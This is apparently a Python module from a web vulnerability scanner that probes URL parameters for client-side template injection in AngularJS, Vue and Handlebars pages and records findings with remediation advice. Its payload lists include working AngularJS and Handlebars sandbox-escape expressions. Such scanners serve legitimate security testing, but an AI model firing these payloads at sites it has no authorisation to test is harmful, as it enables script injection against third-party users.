Spaces:
Running on CPU Upgrade
Running on CPU Upgrade
| """ | |
| csti_scanner.py — Client-Side Template Injection (CSTI) Scanner | |
| =============================================================== | |
| Distinct from SSTI (server-side). CSTI targets AngularJS/Vue sandbox escapes | |
| that execute entirely in the browser — the server never sees the payload. | |
| Detects AngularJS ng-app scope, Vue template markers, and reflected template | |
| expression delimiters in the response. | |
| """ | |
| import re, urllib.parse | |
| from scanners.base_scanner import BaseScanner | |
| CSTI_PAYLOADS = [ | |
| ("{{7*7}}", "AngularJS template expression — expects 49 in response"), | |
| ("{{constructor.constructor('7*7')()|toString}}", "AngularJS sandbox escape"), | |
| ("{{$eval('7*7')}}", "AngularJS $eval injection"), | |
| ("{{$on.constructor('alert(1)')()}}", "AngularJS sandbox escape v2"), | |
| ("{{a='constructor';b='alert(1)';a[b]()}}", "AngularJS sandbox escape via constructor"), | |
| ("{{7*7}}", "Vue.js template expression"), | |
| ("${7*7}", "ES6 template literal injection"), | |
| ("{{{7*7}}}", "Handlebars unescaped expression"), | |
| ("{{_openBlock()}}", "Vue 3 reactivity probe"), | |
| ("{{_observe}}", "Vue reactivity detection"), | |
| ("{{__ob__}}", "Vue observer detection"), | |
| ("{{$parent.$parent.$options}}", "Vue component traversal"), | |
| ("{{#with 'sse' as |obj|}}{{obj.constructor.constructor('alert(1)')()}}{{/with}}", "Handlebars SSTI escape"), | |
| ("{{7*7}}", "Generic template expression"), | |
| ] | |
| FRAMEWORK_MARKERS = { | |
| "angular": ["ng-app", "ng-controller", "ng-model", "angular.js", "angular.min.js", | |
| "x-ng-", "data-ng-", "@angular/", "angularjs"], | |
| "vue": ["v-bind", "v-model", "v-for", "v-if", "vue.js", "vue.min.js", | |
| "Vue.createApp", "createApp(", "@vue/"], | |
| "react": ["react.js", "react.min.js", "ReactDOM", "data-reactroot"], | |
| "handlebars": ["handlebars", "Handlebars", "{{", "{{{", "template: Handlebars"], | |
| } | |
| class CstiScanner(BaseScanner): | |
| SCANNER_NAME = "Client-Side Template Injection (CSTI) Scanner" | |
| _SCANNER_KEY = "csti" | |
| def __init__(self, scan_id, target, domain, **kwargs): | |
| super().__init__(scan_id, target, domain, **kwargs) | |
| def run(self) -> list: | |
| self.log("INFO", f"[CSTI] Scanning for client-side template injection on {self.target}...") | |
| html, status = self._make_request(self.target) | |
| if html is None: | |
| self.log("WARNING", f"[CSTI] Error fetching page") | |
| return self.vulns | |
| detected_fw = [] | |
| html_lower = html.lower() | |
| for fw, markers in FRAMEWORK_MARKERS.items(): | |
| if any(m.lower() in html_lower for m in markers): | |
| detected_fw.append(fw) | |
| self.log("INFO", f"[CSTI] Detected framework: {fw}") | |
| if not detected_fw: | |
| self.log("SUCCESS", "[CSTI] No client-side template frameworks detected.") | |
| return self.vulns | |
| parsed = urllib.parse.urlparse(self.target) | |
| qs = urllib.parse.parse_qsl(parsed.query) | |
| tested = False | |
| for k, v in qs[:3]: | |
| for payload, desc in CSTI_PAYLOADS: | |
| injected = [(k_p, payload if k_p == k else v_p) for k_p, v_p in qs] | |
| url = parsed._replace(query=urllib.parse.urlencode(injected)).geturl() | |
| resp, rstatus = self._make_request(url) | |
| if resp is None: | |
| continue | |
| tested = True | |
| if "49" in resp and payload in ("{{7*7}}", "${7*7}"): | |
| self.add_vuln( | |
| title=f"CSTI Confirmed — Template Expression Evaluated in `{k}`", | |
| severity="High", | |
| category="Client-Side Template Injection", | |
| cvss_score=8.0, | |
| description=f"Injecting `{payload}` into `{k}` caused the server to " | |
| f"reflect `49` — confirming the template engine evaluated `7*7`. " | |
| f"Detected framework(s): {', '.join(detected_fw)}.\n\n" | |
| "CSTI enables arbitrary JavaScript execution in the victim's browser " | |
| "via sandbox escape payloads.", | |
| remediation="1. Never render raw user input inside AngularJS/Vue templates.\n" | |
| "2. Use Angular's DomSanitizer / Vue's v-text instead of v-html.\n" | |
| "3. Set Angular's $compileProvider.debugInfoEnabled(false).\n" | |
| "4. Upgrade to Angular 2+ (no longer uses string-based templates).", | |
| evidence=f"Parameter `{k}` evaluated `{payload}` to `49` in response", | |
| payload=payload, | |
| request_details=f"GET {url}", | |
| response_details=resp[:500], | |
| confidence="Confirmed", | |
| ) | |
| self.log("CRITICAL", f"[CSTI] Expression evaluated in `{k}`!") | |
| return self.vulns | |
| elif payload in resp and "{{" in resp: | |
| self.add_vuln( | |
| title=f"Template Delimiter Reflected in `{k}` — Possible CSTI", | |
| severity="Medium", | |
| category="Client-Side Template Injection", | |
| cvss_score=5.3, | |
| description=f"Template payload `{payload}` was reflected back in the " | |
| f"response. If the page uses {', '.join(detected_fw)}, the browser " | |
| "may evaluate this as a live template expression.", | |
| remediation="Sanitize and encode template delimiters ({{ }}) in user output.", | |
| evidence=f"Payload `{payload}` reflected in response", | |
| payload=payload, | |
| confidence="Medium", | |
| ) | |
| if detected_fw: | |
| self.add_vuln( | |
| title=f"Client-Side Template Framework Detected: {', '.join(fw.title() for fw in detected_fw)}", | |
| severity="Low", | |
| category="Client-Side Template Injection", | |
| cvss_score=0.0, | |
| description=f"Page uses {', '.join(detected_fw)} — manual CSTI testing recommended " | |
| "via Burp Suite with payloads: `{{constructor.constructor('alert(1)')()}}` (AngularJS) " | |
| "or `{{_openBlock()}}` (Vue 3).", | |
| remediation="Audit all template rendering paths for user-controlled input.", | |
| confidence="Info", | |
| ) | |
| self._test_angular_sandbox_escape(detected_fw, qs, parsed) | |
| self._test_vue_template_injection(detected_fw, qs, parsed) | |
| if not self.vulns: | |
| self.log("SUCCESS", "[CSTI] No CSTI vulnerabilities detected.") | |
| return self.vulns | |
| def _test_angular_sandbox_escape(self, detected_fw, qs, parsed): | |
| if "angular" not in detected_fw: | |
| return | |
| angular_payloads = [ | |
| "{{constructor.constructor('alert(1)')()}}", | |
| "{{$on.constructor('alert(1)')()}}", | |
| "{{a='constructor';b='alert(1)';a[b]()}}", | |
| ] | |
| for k, v in qs[:2]: | |
| for payload in angular_payloads: | |
| injected = [(k_p, payload if k_p == k else v_p) for k_p, v_p in qs] | |
| url = parsed._replace(query=urllib.parse.urlencode(injected)).geturl() | |
| resp, status = self._make_request(url) | |
| if resp and payload[:30] in resp: | |
| self.add_vuln( | |
| title=f"Angular Sandbox Escape Possible via `{k}`", | |
| severity="Critical", | |
| category="Client-Side Template Injection", | |
| cvss_score=9.3, | |
| description=f"Angular sandbox escape payload `{payload[:60]}...` reflected via `{k}`. " | |
| "If AngularJS evaluates this, arbitrary JS execution is possible.", | |
| remediation="Upgrade to Angular 2+ or disable string-based template compilation.", | |
| evidence=f"Angular sandbox escape payload reflected: {payload[:60]}", | |
| payload=payload, | |
| confidence="High", | |
| ) | |
| def _test_vue_template_injection(self, detected_fw, qs, parsed): | |
| if "vue" not in detected_fw: | |
| return | |
| vue_payloads = [ | |
| "{{_openBlock()}}", | |
| "{{__ob__}}", | |
| "{{$parent.$parent.$options}}", | |
| ] | |
| for k, v in qs[:2]: | |
| for payload in vue_payloads: | |
| injected = [(k_p, payload if k_p == k else v_p) for k_p, v_p in qs] | |
| url = parsed._replace(query=urllib.parse.urlencode(injected)).geturl() | |
| resp, status = self._make_request(url) | |
| if resp and payload[:20] in resp: | |
| self.add_vuln( | |
| title=f"Vue.js Template Injection Possible via `{k}`", | |
| severity="High", | |
| category="Client-Side Template Injection", | |
| cvss_score=7.5, | |
| description=f"Vue.js reactivity payload `{payload}` reflected via `{k}`. " | |
| "May indicate Vue template injection if the expression is evaluated.", | |
| remediation="Use v-text instead of {{ }} interpolation for user-controlled data.", | |
| evidence=f"Vue payload reflected: {payload}", | |
| payload=payload, | |
| confidence="Medium", | |
| ) | |